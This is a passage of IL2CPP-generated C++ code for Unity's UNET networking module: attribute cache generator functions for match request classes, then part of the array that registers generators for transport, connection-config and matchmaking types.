static void ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_set_eloScore_m80EB463CA251672D86AA00C6FEF024129E1D4C90(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_get_matchAttributeFilterLessThan_m15EAF64DC665FCDE5A00D6AFF67E97E2250CDA65(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_get_matchAttributeFilterEqualTo_mCED2ECBE526824ACE9D65845F72CA54DEA42BEC8(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_get_matchAttributeFilterGreaterThan_mF2D363A215A57DE53A14E0B82D4BA61D10736FDA(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void SetMatchAttributesRequest_t22EC5198C69E086FC5BC8DB4E249E4B90FAFF2E2_CustomAttributesCacheGenerator_U3CnetworkIdU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void SetMatchAttributesRequest_t22EC5198C69E086FC5BC8DB4E249E4B90FAFF2E2_CustomAttributesCacheGenerator_U3CisListedU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void SetMatchAttributesRequest_t22EC5198C69E086FC5BC8DB4E249E4B90FAFF2E2_CustomAttributesCacheGenerator_SetMatchAttributesRequest_get_networkId_m7FCEC07EFF3DB82CFDF40B7D6AEF6C11029BFCE0(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void SetMatchAttributesRequest_t22EC5198C69E086FC5BC8DB4E249E4B90FAFF2E2_CustomAttributesCacheGenerator_SetMatchAttributesRequest_set_networkId_m9B646C9BA765B12830FCBA07AB25701A7335FE92(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void SetMatchAttributesRequest_t22EC5198C69E086FC5BC8DB4E249E4B90FAFF2E2_CustomAttributesCacheGenerator_SetMatchAttributesRequest_get_isListed_m4AD05BE1E93CD550D5EFED8AFDC8C3A14F539999(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void SetMatchAttributesRequest_t22EC5198C69E086FC5BC8DB4E249E4B90FAFF2E2_CustomAttributesCacheGenerator_SetMatchAttributesRequest_set_isListed_m374284C0BCFAA377F665F9FB8E7871126D2ED7F7(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void U3CPrivateImplementationDetailsU3E_tB81EF66DC95F2C9A31394EC66C970747E54559B0_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
IL2CPP_EXTERN_C const CustomAttributesCacheGenerator g_UnityEngine_UNETModule_AttributeGenerators[];
const CustomAttributesCacheGenerator g_UnityEngine_UNETModule_AttributeGenerators[283] =
{
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator,
ChannelQOS_tF55C4AC4858FAFCFBDA366C6F6B1E2B35DFFF3DE_CustomAttributesCacheGenerator,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator,
HostTopology_t268779309BB2D69F29D1A182662C79818813892B_CustomAttributesCacheGenerator,
GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator,
ConnectionSimulatorConfig_t1AE9575EDB85F7792DE5F22A4E096A4A08AEB935_CustomAttributesCacheGenerator,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator,
HostTopologyInternal_tA95C0259BC91D8E3D227BAF3D4F7CEE5C5331E10_CustomAttributesCacheGenerator,
ConnectionSimulatorConfigInternal_tB19B4AE3F50ACB7661DC811F6198E37C08ACDB99_CustomAttributesCacheGenerator,
GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator,
AppID_tAD8157F4A7CC26B6E26931C595654BA56A66C01B_CustomAttributesCacheGenerator,
SourceID_tBE00015EA0F2E5DAEBEC7D0210216A18EB6DA62D_CustomAttributesCacheGenerator,
NetworkID_tA7160DE9FBEE6E236564AEA6C328B6180FC368C3_CustomAttributesCacheGenerator,
NodeID_t07417F7D8D30332570E9D4A123D9E8B7CA1D1E80_CustomAttributesCacheGenerator,
HostPriority_tA55AD7007516BAA3ADFF8CDC72576479ACA864A0_CustomAttributesCacheGenerator,
MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator,
MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator,
NetworkMatch_t520F80EBC98ADEE375884B456429236E5BBA0F3B_CustomAttributesCacheGenerator,
U3CProcessMatchResponseU3Ed__26_2_t8F8D00BC759EAB4CF50E491DAE09E30C97D507C2_CustomAttributesCacheGenerator,
U3CPrivateImplementationDetailsU3E_tB81EF66DC95F2C9A31394EC66C970747E54559B0_CustomAttributesCacheGenerator,
ChannelQOS_tF55C4AC4858FAFCFBDA366C6F6B1E2B35DFFF3DE_CustomAttributesCacheGenerator_m_Type,
ChannelQOS_tF55C4AC4858FAFCFBDA366C6F6B1E2B35DFFF3DE_CustomAttributesCacheGenerator_m_BelongsSharedOrderChannel,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_PacketSize,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_FragmentSize,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_ResendTimeout,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_DisconnectTimeout,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_ConnectTimeout,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_MinUpdateTimeout,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_PingTimeout,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_ReducedPingTimeout,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_AllCostTimeout,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_NetworkDropThreshold,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_OverflowDropThreshold,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_MaxConnectionAttempt,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_AckDelay,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_SendDelay,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_MaxCombinedReliableMessageSize,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_MaxCombinedReliableMessageCount,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_MaxSentMessageQueueSize,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_AcksType,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_UsePlatformSpecificProtocols,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_InitialBandwidth,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_BandwidthPeakFactor,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_WebSocketReceiveBufferMaxSize,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_UdpSocketReceiveBufferMaxSize,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_SSLCertFilePath,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_SSLPrivateKeyFilePath,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_SSLCAFilePath,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_Channels,
ConnectionConfig_t9ED47EBC3397BFD65CEE4D075D9A63566743600A_CustomAttributesCacheGenerator_m_SharedOrderChannels,
HostTopology_t268779309BB2D69F29D1A182662C79818813892B_CustomAttributesCacheGenerator_m_DefConfig,
HostTopology_t268779309BB2D69F29D1A182662C79818813892B_CustomAttributesCacheGenerator_m_MaxDefConnections,
HostTopology_t268779309BB2D69F29D1A182662C79818813892B_CustomAttributesCacheGenerator_m_SpecialConnections,
HostTopology_t268779309BB2D69F29D1A182662C79818813892B_CustomAttributesCacheGenerator_m_ReceivedMessagePoolSize,
HostTopology_t268779309BB2D69F29D1A182662C79818813892B_CustomAttributesCacheGenerator_m_SentMessagePoolSize,
HostTopology_t268779309BB2D69F29D1A182662C79818813892B_CustomAttributesCacheGenerator_m_MessagePoolSizeGrowthFactor,
GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_ThreadAwakeTimeout,
GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_ReactorModel,
GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_ReactorMaximumReceivedMessages,
GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_ReactorMaximumSentMessages,
GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_MaxPacketSize,
GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_MaxHosts,
GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_ThreadPoolSize,
GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_MinTimerTimeout,
GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_MaxTimerTimeout,
GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_MinNetSimulatorTimeout,
GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_MaxNetSimulatorTimeout,
GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_ConnectionReadyForSend,
GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_NetworkEventAvailable,
MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_U3CaddressU3Ek__BackingField,
MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_U3CportU3Ek__BackingField,
MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_U3CdomainU3Ek__BackingField,
MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_U3CnetworkIdU3Ek__BackingField,
MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_U3CaccessTokenU3Ek__BackingField,
MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_U3CnodeIdU3Ek__BackingField,
MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_U3CusingRelayU3Ek__BackingField,
MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_U3CnetworkIdU3Ek__BackingField,
MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_U3ChostNodeIdU3Ek__BackingField,
MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_U3CnameU3Ek__BackingField,
MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_U3CaverageEloScoreU3Ek__BackingField,
MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_U3CmaxSizeU3Ek__BackingField,
MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_U3CcurrentSizeU3Ek__BackingField,
MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_U3CisPrivateU3Ek__BackingField,
MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_U3CmatchAttributesU3Ek__BackingField,
MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_U3CdirectConnectInfosU3Ek__BackingField,
MatchInfoDirectConnectSnapshot_t82741E9963C92FE12F5CB64A40851676E4677F6C_CustomAttributesCacheGenerator_U3CnodeIdU3Ek__BackingField,
MatchInfoDirectConnectSnapshot_t82741E9963C92FE12F5CB64A40851676E4677F6C_CustomAttributesCacheGenerator_U3CpublicAddressU3Ek__BackingField,
MatchInfoDirectConnectSnapshot_t82741E9963C92FE12F5CB64A40851676E4677F6C_CustomAttributesCacheGenerator_U3CprivateAddressU3Ek__BackingField,
MatchInfoDirectConnectSnapshot_t82741E9963C92FE12F5CB64A40851676E4677F6C_CustomAttributesCacheGenerator_U3ChostPriorityU3Ek__BackingField,
Request_tA1BC1936C153408449C4C207CA12D4358A7477FD_CustomAttributesCacheGenerator_U3CsourceIdU3Ek__BackingField,
Request_tA1BC1936C153408449C4C207CA12D4358A7477FD_CustomAttributesCacheGenerator_U3CprojectIdU3Ek__BackingField,
Request_tA1BC1936C153408449C4C207CA12D4358A7477FD_CustomAttributesCacheGenerator_U3CaccessTokenStringU3Ek__BackingField,
Request_tA1BC1936C153408449C4C207CA12D4358A7477FD_CustomAttributesCacheGenerator_U3CdomainU3Ek__BackingField,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_U3CnameU3Ek__BackingField,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_U3CsizeU3Ek__BackingField,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_U3CpublicAddressU3Ek__BackingField,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_U3CprivateAddressU3Ek__BackingField,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_U3CeloScoreU3Ek__BackingField,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_U3CadvertiseU3Ek__BackingField,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_U3CpasswordU3Ek__BackingField,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_U3CmatchAttributesU3Ek__BackingField,
JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_U3CnetworkIdU3Ek__BackingField,
JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_U3CpublicAddressU3Ek__BackingField,
JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_U3CprivateAddressU3Ek__BackingField,
JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_U3CeloScoreU3Ek__BackingField,
JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_U3CpasswordU3Ek__BackingField,
DestroyMatchRequest_t3AC8FF769CC153C425D7D76492693F00A76B81D0_CustomAttributesCacheGenerator_U3CnetworkIdU3Ek__BackingField,
DropConnectionRequest_t0BADA55738E8857768EE57C92027957659C0E8D1_CustomAttributesCacheGenerator_U3CnetworkIdU3Ek__BackingField,
DropConnectionRequest_t0BADA55738E8857768EE57C92027957659C0E8D1_CustomAttributesCacheGenerator_U3CnodeIdU3Ek__BackingField,
ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_U3CpageSizeU3Ek__BackingField,
ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_U3CpageNumU3Ek__BackingField,
ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_U3CnameFilterU3Ek__BackingField,
ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_U3CfilterOutPrivateMatchesU3Ek__BackingField,
ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_U3CeloScoreU3Ek__BackingField,
ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_U3CmatchAttributeFilterLessThanU3Ek__BackingField,
ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_U3CmatchAttributeFilterEqualToU3Ek__BackingField,
ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_U3CmatchAttributeFilterGreaterThanU3Ek__BackingField,
SetMatchAttributesRequest_t22EC5198C69E086FC5BC8DB4E249E4B90FAFF2E2_CustomAttributesCacheGenerator_U3CnetworkIdU3Ek__BackingField,
SetMatchAttributesRequest_t22EC5198C69E086FC5BC8DB4E249E4B90FAFF2E2_CustomAttributesCacheGenerator_U3CisListedU3Ek__BackingField,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_InitializeClass_m885F41697D3E728B618EE20A48B7F88BBF596891,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_InitializeClassWithConfig_mA43ECAAD1DEFB5BA599591691AF2B3826F6A0BDC,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_AddHostInternal_mE6C08100955EB6B0A84D2012C4539CCEFD21D78F,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_AddWsHostInternal_mC1C24C4B573DA481ED99DB6C68B44E29D30A6AB0,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_ConnectAsNetworkHostInternal_m94E35F271C763E9352979273766BCADE2119B737,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_ReceiveRelayEventFromHostInternal_m95E08AB6EAA9551BBA636B8994B782AA59CDD616,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_ConnectToNetworkPeerInternal_m8E3EFCA23270665D8A312C6B9B824F79EDD3E306,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_GetCurrentRTT_mF6F860C6EE547DF877313DB56D7348F5101B0F9B,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_GetConnectionInfo_m9C1C905E4C06B265514A87B380E4851795068A24,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_GetMaxPacketSize_m98EE9A0A5FD4C30AEF12D0B7EE498B3043E929F1,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_RemoveHost_m30AE2F5E95C285B9A206B7B7E3DF092E73FC4E76,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_IsStartedInternal_m90ABBFFB0BAD69105ACFB91ABEA5D53345C1145A,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_Connect_mAB9436F3762B46F3078AD6BC36AA49BD5E598588,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_ConnectWithSimulatorInternal_m89044D238A13391ACC38F88E18D6EBE64AECB93C,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_Disconnect_mD0F2C28F6A7B17313F966C4D74FD84F7F4E3A015,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_Internal_ConnectEndPoint_m0C217E6A0B5B421DCCEAF786E1383D5629DD1727,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_SendWrapper_m2BEDC12E5B2E0AADC4E602DDEDA16552C29EBB5D,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_PopData_m9AE207175D69AA961E59A596031B6DC4C9E48E8C,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_PopDataFromHost_mB17AEA581E92B7C403B4C14C01A796E55138D910,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_SetPacketStat_m15ED504FBE443CD2A560AC8B070B3FCE56C55C0B,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_SetNetworkEventAvailableCallback_m9996DCB1B44D723DC6D555810D3A474B8A91B64F,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_Cleanup_m7BF767E0AB80E628379B2AF924E109666794B6F0,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_SetConnectionReadyForSendCallback_mD9660BB5DDC8630EBB844DC6A717D4F6CBF8EF05,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_StartBroadcastDiscoveryWithData_mB0A23FD80B800FBE56A7A04E3FDB576B3A2F6E3C,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_StartBroadcastDiscoveryWithoutData_m985BE33A67959A02321F1780BB665662D46FD62B,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_StopBroadcastDiscovery_m5C62918176815E947016E1E1C0219A7847E29137,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_SetBroadcastCredentials_m9AE78E56E8AE5184F84E749E224B37FC45B9BBD2,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_GetBroadcastConnectionInfo_m62F63910563D06061C43A1339D717939C785304A,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_SetMulticastLock_mA772C71777B14DD1453EF512F150C30EA3B363F7,
NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_GetBroadcastConnectionMessageInternal_mB15C89BE28F66259CFF5E24EBEAC2F6942793CB3,
ConnectionSimulatorConfig_t1AE9575EDB85F7792DE5F22A4E096A4A08AEB935_CustomAttributesCacheGenerator_ConnectionSimulatorConfig_Dispose_m9148148B8B0005349005627999D7B3AF72020D95,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_InternalDestroy_mA5ED8454D97B55A9BF3FDDC6DDE09D31E6DF20E9,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_SetSSLCertFilePath_mE1BB6420E3CB9775AD1E55561D9973D7DA1794A4,
